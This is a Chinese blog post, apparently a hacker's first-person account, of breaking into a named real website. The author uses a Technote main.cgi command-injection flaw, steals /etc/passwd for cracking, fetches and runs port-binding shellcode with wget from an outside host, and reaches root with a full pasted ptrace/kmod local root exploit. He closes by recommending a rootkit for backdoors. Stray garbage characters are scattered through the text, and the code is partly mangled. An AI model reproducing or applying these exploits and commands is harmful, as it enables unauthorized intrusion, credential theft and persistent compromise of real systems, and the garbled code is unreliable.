从web漏洞到系统root权限过程全展现

韩冰

作者：cnbird

大家好，我是cnbird，我又回来了，好长时间没有写文章了，今天手痒痒，

所以就写了一篇，希望对与unix的初学者有帮助.欢迎大家和我讨论技术。MainpAge:http://cnbird.hackvip.cn

最近在家研究perl和UNIX服务器的安装和应用，所以很长时间没有进行渗 透了，在学perl和UNIX的话就要傻了，什么也不会了，所以去各大黑客站点

5 G( T0 c4 o4 M; c$ q

转转吧，来到了www.nsfocus.net看看吧，有没有什么新的公告啊，Technote 'main.cgi'远程任意命令执行漏洞 这个漏洞引起了我的注意，大致看了看，

知道了这是一个可以远程执行命令的漏洞，下面把漏洞的信息公布一下，Technote是韩国的Technote公司开发的公告牌系统。

. N5 v H: t/ W, T

Technote的'main.cgi'没有充分过滤用户提交输入，远程攻击者可以利用这

个漏洞以WEB进程权限在系统上执行任意命令。

由于不正确过滤'filename'参数，攻击者提交包含"|command"的数据作为参

数内容，可能以WEB进程权限在系统上执行任意命令。

$ t% E+ c% h6 n) @, W, V E

2 L) I* I4 Y% i; g- G0 S给出利用方法

/ _2 i ]$ X& |6 s! }

_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://[target]/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

- j/ A8 h$ q4 D/ N$ ^

看了看利用方法觉得很简单，所以打算自己写一个perl的漏洞利用程序，

看了半天，终于完成了，自己perl新学的原因，所以写的比较简陋，还要自己

3 j1 D' m6 O2 r+ k- Z7 s- m: q

修改路径，很麻烦，我就不公布了，省的高手见笑。其实这个漏洞成功率还是

很高的，基本上90%以上吧，对于咱们这些经常搞安全的应该说是一个好消息.

^_^.

; G" B" e) b. `, D0 a1 z& \

好了开始咱们这次难得的入侵之旅吧,这篇文章看着很简单，其实融合我多年

的经验（其实就1-2年）,首先要测试这个漏洞，先要找这样的论坛，

0 i2 m, E/ q, o: K

google.com就是方便，一下子找到了一大堆，好了随便挑一个进行测试吧，哈哈哈就拿你开口吧。

http://www.sealia.com/cgi-bin/technote/main.cgi首先大致看了看，然后就开始吧，

% N% J8 [- f$ H6 ~5 C, ?5 k+ p

按照绿盟给出的公告测试一下，输入_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://www.sealia.com/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

2 X" }4 g) H: v7 k7 l* e% K, _

结果如图1

, w8 j' }( [9 w& @

大家看到结果了

2 @: V& ] y3 o/ R S. k3 i

uid=99(nobody) gid=99(nobody) groups=99(nobody) , R1 w" C& z3 a y下面就开始利用我自己写的程序来完成工作了，毕竟在IE里面输太麻烦了， 我程序的工作 + ^; E6 p$ m: l! r+ I5 N8 A# S% s! |界面。如图2

( H5 ~& G6 O! N3 ? Z5 t

依次输入IP和端口，就可以直接运行程序了，输入id呵呵，和IE里面基本上差

4 ^* l J2 ~: k8 D# o; G

不多，

如图3

: L, N" }5 a. R* `# L

呵呵到这里我想大家的思路就是上传一个webshell然后在webshell里面搞了，

其实我也有这样的想法，可是我已经习惯了UNIX的命令行模式了，虽然能写一个webshell，但是我并没有这样做，我的目的是拿到root权限，大家一定问了，你连主机都没有连上呢，你怎么拿到root啊，小伙子你问的不错，奖你个梨吃，呵呵，下面我的思路就是登陆到机器上面，上面大家已经看到了，我们id命令的输出是uid=99(nobody) gid=99(nobody) groups=99(nobody)，权限还是很低的，试试能不能拿到/etc/passwd然后跑密码，然后执行[www.sealia.com]$ cat /etc/passwd

: X3 N3 Q. k" X6 P) R( U

不错，能拿到/etc/passwd。

如图4

$ y+ N4 s) }9 q* O* L

- S, L2 g$ N8 k

呵呵已经得到/etc/passwd了，我们用流光去跑密码吧，当然我没有指望它能跑出来，等待的时间真漫长啊，无聊，都已经5点50分了，天天晚上，哦哦不是晚上了，是早晨这个时候睡觉，然后12点起来，天天如此，哎，，苦啊。。。

* n6 m5 x4 Q; _5 `7 L- N6 G4 L" G$ B

去forum.zone-h.org看看帖子吧，也许能找到什么灵感呢！无意间来到了http://forum.zone-h.org/viewtopic.php?t=1168&highlight=phpbb他们正在讨论phpbb的漏洞利用方法和代码，看看吧，虽然已经很老很老了，呵呵其实说实话，不怕各位见小，我以前问在这里问过问题，很长时间没有来了，看看他们有没有给回复啊

如图5

1 T) Z& f7 s" K& B4 Y+ o+ P. C, {

& B' w! W6 E8 S, v1 M

呵呵见笑了，真没想到他们给的答案还很全面，^_^连什么程序都给出了，老外就是实在...呵呵...

2 O5 B1 q: R/ u/ P/ n7 {

This one works fine

http://rst.void.ru/download/r57phpbb2010.txt

upload, someth like this

$ ], X0 B7 S! R' n8 U2 U1 H

./exploit.pl victimhost:port /php_root/ topic_num "wget -O /var/tmp/.r.c http://myhttpserver:port/exploit/root.c"

! t* x4 K! @& P4 ~. K0 C2 m* l" ~

1 b" K+ c) h: t+ G4 s./exploit.pl victimhost:port /php_root/ topic_num "gcc /var/tmp/.r.c -o .root"

exec on victim hots same shit

and binding shell

http://shellcode.org/Shellcode/Linux/shell-bind-shell.html

回答的让我很满意啊，正好就试试他们给的方法吧，其实以前我也知道这样的方法的就是没有binding shell（就是把/bin/sh绑定到端口上）。好了说了这么多离题的话，我们还是赶紧做我们的事吧.

- f) [ @% O0 C/ R; m u. a

首先来到了http://shellcode.org/Shellcode/Linux/shell-bind-shell.html看了看，

This piece of code will open a socket for listening upon port 20000 and spawn a shell for all incoming connections.

This would be ideal for a system which you didn't have a direct login shell upon.

从描述上来看是linux的binding shell，并且绑定到了20000端口，下面有该程序的下载地方，真方便啊，http://shellcode.org/Shellcode/Linux/shell-bind-shell.c

, P/ D* S8 N8 S' K5 s p* \

给出代码

/* 92 bytes iscntrl() evading portbinding shellcode - linux-x86 * - by bighawk (bighawk@warfare.com) * * This shellcode binds a shell on port 20000 * - n% p7 w" b3 z* z3 _ * stdin, stdout and stderr are dupped. accept() arguments are sane. ; i5 \% f1 H6 _8 P6 N* y+ ^ */

2 ]( w: t5 `9 U4 Q1 @3 N2 {

char code[] =

" ]1 z* {& G" m

"\x31\xdb" // xor ebx, ebx + W5 \8 W: o9 V "\xf7\xe3" // mul ebx "\xb0\x66" // mov al, 102 "\x53" // push ebx 2 s% e5 k E7 o/ P "\x43" // inc ebx "\x53" // push ebx $ q# C* G1 k% h0 \/ N4 K) @. F "\x43" // inc ebx ! T$ U* {! i' c' o8 {1 o* ~- a "\x53" // push ebx & A* H+ d6 @9 w- G9 K7 s "\x89\xe1" // mov ecx, esp "\x4b" // dec ebx "\xcd\x80" // int 80h 6 z3 P% O! l& t6 i1 B "\x89\xc7" // mov edi, eax "\x52" // push edx 0 ]5 G( X9 J) Y9 f1 y "\x66\x68\x4e\x20" // push word 8270 "\x43" // inc ebx * l5 i$ w9 }1 S3 ~$ H7 D: V "\x66\x53" // push bx * Q% t) D/ v9 t1 N; o" x "\x89\xe1" // mov ecx, esp "\xb0\xef" // mov al, 239 "\xf6\xd0" // not al "\x50" // push eax "\x51" // push ecx "\x57" // push edi "\x89\xe1" // mov ecx, esp % K# \! f4 M( k7 O W& v$ F. n "\xb0\x66" // mov al, 102 , B Q5 y3 e' ]5 U "\xcd\x80" // int 80h "\xb0\x66" // mov al, 102 "\x43" // inc ebx "\x43" // inc ebx * Y2 O C/ W9 J3 Y0 G9 A7 l "\xcd\x80" // int 80h ' P( u6 x/ _/ b g/ q/ x "\x50" // push eax "\x50" // push eax ) C- {1 r( c! i) u. B# V "\x57" // push edi ( o% T* K5 S3 J0 M "\x89\xe1" // mov ecx, esp # Y6 n, M: z( j$ R( g3 i "\x43" // inc ebx "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h # [) b- m( W9 a: ^" L7 O "\x89\xd9" // mov ecx, ebx "\x89\xc3" // mov ebx, eax "\xb0\x3f" // mov al, 63 / j/ ~8 h0 Y: [8 Z, s1 L "\x49" // dec ecx & F, H/ `* u9 M' t. C( Z "\xcd\x80" // int 80h ; y5 r4 A! ^4 W4 p: X "\x41" // inc ecx ) l, j2 j6 S$ l0 e "\xe2\xf8" // loop lp "\x51" // push ecx "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh & Z6 E+ h. W5 K0 j. k "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh " K& A% i; |4 Z: J. g2 }2 v "\x89\xe3" // mov ebx, esp ( m2 d, f' {( `0 D7 B5 y "\x51" // push ecx # N D4 k H8 F% h! P5 i8 d+ F* Q+ Z "\x53" // push ebx "\x89\xe1" // mov ecx, esp ' U7 ?) C# o/ l/ x/ p; W- Y1 O5 s "\xb0\xf4" // mov al, 244 % s) q: E# b7 b" ?1 F "\xf6\xd0" // not al 1 A) j8 p! z) ?( L" J8 J; H "\xcd\x80"; // int 80h

0 V8 k) a W+ S& f

main() { " d. v- }4 x& b, d3 D; \& }1 J void (*a)() = (void *)code; , O8 H/ q' Z1 N/ ^& x* ~ int i; printf("size: %d bytes\n", strlen(code)); - N) X0 k9 A8 J9 R# ^ printf("Testing for cntrl characters.. "); 3 {7 q' e" d% Q# Z; B! r X for(i=0;i if(iscntrl(code)) printf("FAILED\n"), exit(255); ( n4 V, D/ H/ G& \( I9 D printf("PASSED\n"); , ^6 V# u% h/ U' c a(); 4 u% j5 {( j9 n( p, O7 R5 p2 a1 d} 好了我们已经知道该下载地址

韩冰

http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了， . q7 G( O4 m! L6 |3 \就可以用wget这个命令来下载了，输入 3 P& N' C9 p1 f- E0 M+ Twget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思 就是下载这个shell.c到/tmp目录下，如图6

然后ls /tmp得到下面的结果，[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain + k" T' ~: H0 N. m& E6 T- n: f2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs 这个时候就说明已经成功了，现在我们查找一下gcc在哪里，别到时候闹了半天 在没有gcc就麻烦了，然后输入whereis -b gcc意思就是查找gcc的全路径输出结果 [www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain # m* C9 ]' S4 [6 W12gcc: /usr/bin/gcc , O7 K% k1 F1 I好了找到gcc了，接下来的事就好办了，编译源程序gcc shell-bind-shell.c -o bind 编译成功在/tmp目录下多了一个我们编译的bind程序，下面我们就来执行它吧， ' P, I" w0 k4 g: a) M- ]1 e/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成，根据程序的介绍我 们知道他开了20000端口，我们telnet 上去吧，telnet www.sealia.com 20000 哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found" 呢，我晕了，没错啊，看看源程序吧，找到了最后，哈哈知道了原因， Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000 + G! V5 P* Z8 C, g# n- `2 F(nc is netcat).好了知道为什么了，我们就换nc提交吧，执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢，跑了将近半个小时了，不等了，关闭它，太浪费资源了，这个时候我大概知道他是一个linux的操作系统，但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的，下面咱们来提升权限吧，就是拿到root，这里说明一下这里有2个很好用的漏洞利用程序，一个是Linux Kernel do_mremap VMA本地权限提升漏洞（漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了，咱们开始提升权限吧，大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/* & W1 ^- a( m& E8 [9 i7 B! V5 u* Linux kernel ptrace/kmod local root exploit ; Z, c* B' Z% h& R* 2 ~* \3 o2 A1 I* This code exploits a race condition in kernel/kmod.c, which creates 7 x" g7 f& I' I, k# N* r* kernel thread in insecure manner. This bug allows to ptrace cloned ! C( ?( Q3 y2 ~9 y9 y( P* process, allowing to take control over privileged modprobe binary. $ f% p0 F& E9 `2 h" O# S2 `* * Should work under all current 2.2.x and 2.4.x kernels. / r: m2 [4 E' H9 y ~+ `+ L2 E* 1 n m6 ?2 l, ~: s: q6 S" z* I discovered this stupid bug independently on January 25, 2003, that ' p1 V3 b3 r! ]& f* is (almost) two month before it was fixed and published by Red Hat 0 }0 x# W8 z. ~% ~4 D* and others. 2 F, g" f' R/ C5 ?8 P- L B* * Wojciech Purczynski <cliph@isec.pl> 1 H* O" X3 C; F; x6 `* * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* & h. T4 u* k3 F- e/ E* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY ( D, I7 y& v" U: L! S$ R* * (c) 2003 Copyright by iSEC Security Research */

#include #include - y) }9 a5 o" R5 E% ~% s0 M d' k#include ) D m8 f6 ^$ y: W#include * v) F7 \" f& T3 R. ~5 L#include , J) k' U' s) ~& ], T# b3 d* `' [#include . A4 i0 V) o( V9 ^; y0 L#include % ?& \6 c) Y7 }2 o/ z/ r#include 8 f6 R7 e+ @2 k# j#include #include 8 Q) P* _* Z) F#include #include #include `' u+ x* p8 H$ x1 d#include , |% K( A6 w5 w#include 9 N; S" k q! l, [( k5 I" f/ D# M#include

char cliphcode[] = "\x90\x90\xeb\x1f\xb8\xb6\x00\x00" + A$ G# y7 z- l& ]"\x00\x5b\x31\xc9\x89\xca\xcd\x80" "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" # z% U" `2 T1 H! p# [/ Z1 F: C) y) o"\x00\x00\xcd\x80\x89\xd0\x89\xd3" . w/ f% b7 R$ }0 _% z"\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1; % I8 J# t4 ~4 X w, Zpid_t child = 1; ( `' ?& z) k# W$ c `pid_t victim = 1; 5 |# l0 \* S. v, z: nvolatile int gotchild = 0;

void fatal(char * msg) 0 r$ i5 S/ ^% i# o" Q: F5 E, x{ perror(msg); ' o3 T3 G" C6 s2 u" o6 gkill(parent, SIGKILL); kill(child, SIGKILL); 0 G0 }: t5 V/ |' S# B4 Skill(victim, SIGKILL); }

void putcode(unsigned long * dst) 2 ^1 ]. A: A Z{ 4 c# d2 ^# `/ H4 Mchar buf[MAXPATHLEN + CODE_SIZE]; / E* k' x9 Q! }/ U1 Ounsigned long * src; int i, len;

memcpy(buf, cliphcode, CODE_SIZE); len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); if (len == -1) % U) g+ [3 P) e; t* o# Bfatal("[-] Unable to read /proc/self/exe");

len += CODE_SIZE + 1; buf[len] = '\0';

src = (unsigned long*) buf; ) D5 [ Q8 C/ C2 d5 {9 Yfor (i = 0; i < len; i += 4) : v# Q) y6 O5 l/ k1 V5 [! eif (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1) 0 v& b" \1 e# v& T j0 qfatal("[-] Unable to write shellcode"); }

void sigchld(int signo) * A$ ?7 _) z! ~- @( z* L* Y r{ struct user_regs_struct regs;

if (gotchild++ == 0) return;

fprintf(stderr, "[+] Signal caught\n");

if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1) 4 z2 Y3 x- |+ I. L! h' ]! qfatal("[-] Unable to read registers");

fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

putcode((unsigned long *)regs.eip);

fprintf(stderr, "[+] Now wait for suid shell...\n");

if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) 1 O1 w! j3 s0 v3 ]% Jfatal("[-] Unable to detach from victim");

exit(0); 1 M/ d" g7 r% n# \1 I9 R, |}

void sigalrm(int signo) 4 ~5 g0 @) R/ S8 L( @7 Y9 r ?9 r{ % I; i3 G1 u c% H) [: herrno = ECANCELED; . J( S& I$ j$ p& f& d: Qfatal("[-] Fatal error"); , s ^# A; H& y- x. {& ^}

void do_child(void) { int err;

child = getpid(); ! [' Z% T9 J( p+ t3 a \8 gvictim = child + 1;

signal(SIGCHLD, sigchld);

do err = ptrace(PTRACE_ATTACH, victim, 0, 0); : m7 h: d8 Y# I3 V; cwhile (err == -1 && errno == ESRCH);

if (err == -1) ; i0 Q8 F. k* |" ~fatal("[-] Unable to attach");

fprintf(stderr, "[+] Attached to %d\n", victim); 5 [9 q+ P8 E$ L6 o1 M3 m2 ^while (!gotchild) ; % ?0 P( \) m8 h& Xif (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1) fatal("[-] Unable to setup syscall trace"); fprintf(stderr, "[+] Waiting for signal\n");

for(;;); }

void do_parent(char * progname) 1 @6 h8 T. O+ M/ |' A{ struct stat st; int err; errno = 0; $ E- {0 ~. W1 j% R( ^socket(AF_SECURITY, SOCK_STREAM, 1); do { $ ]) M5 p: s/ x0 J# S' serr = stat(progname, &st); 4 F8 u+ \& G5 n$ `9 Y- G- s2 [* v} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

if (err == -1) . n' c+ n9 \6 @0 M1 ?8 I% Yfatal("[-] Unable to stat myself");

alarm(0); : f! q4 _4 F, Z# ]% Xsystem(progname); , `) D' V3 Y8 ]}

void prepare(void) { if (geteuid() == 0) { initgroups("root", 0); setgid(0); setuid(0); execl(_PATH_BSHELL, _PATH_BSHELL, NULL); fatal("[-] Unable to spawn shell"); ) n/ i! N3 Z) t# a+ t9 r+ y} ( m& R3 x/ \7 ~5 }. Z+ q}

int main(int argc, char ** argv) { ' g1 K( N" Z# U7 B/ v% f& ]; Lprepare(); ) {2 l H5 Q: g' Ssignal(SIGALRM, sigalrm); 7 N6 _0 Y7 F6 M% ~alarm(10);

parent = getpid(); ) H% T" r' u5 Q* p( G, X* j0 b5 k& [' Kchild = fork(); victim = child + 1;

if (child == -1) fatal("[-] Unable to fork");

if (child == 0) do_child(); * A" A1 H J* P; b* q _8 Welse 5 N. H, T V2 m; `: l( Edo_parent(argv[0]);

return 0; }CRTL+C保存，然后编译gcc 1.c -o 1编译成功，然后输入./1程序开始执行了，-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了，剩下的工作就是安装后门了，大家可以参考我另外的一篇文章，more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了，其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞，这一点点的小漏洞就可以把能拿到系统的最高权限，可见其危害性，希望国内的网管能够重视起来.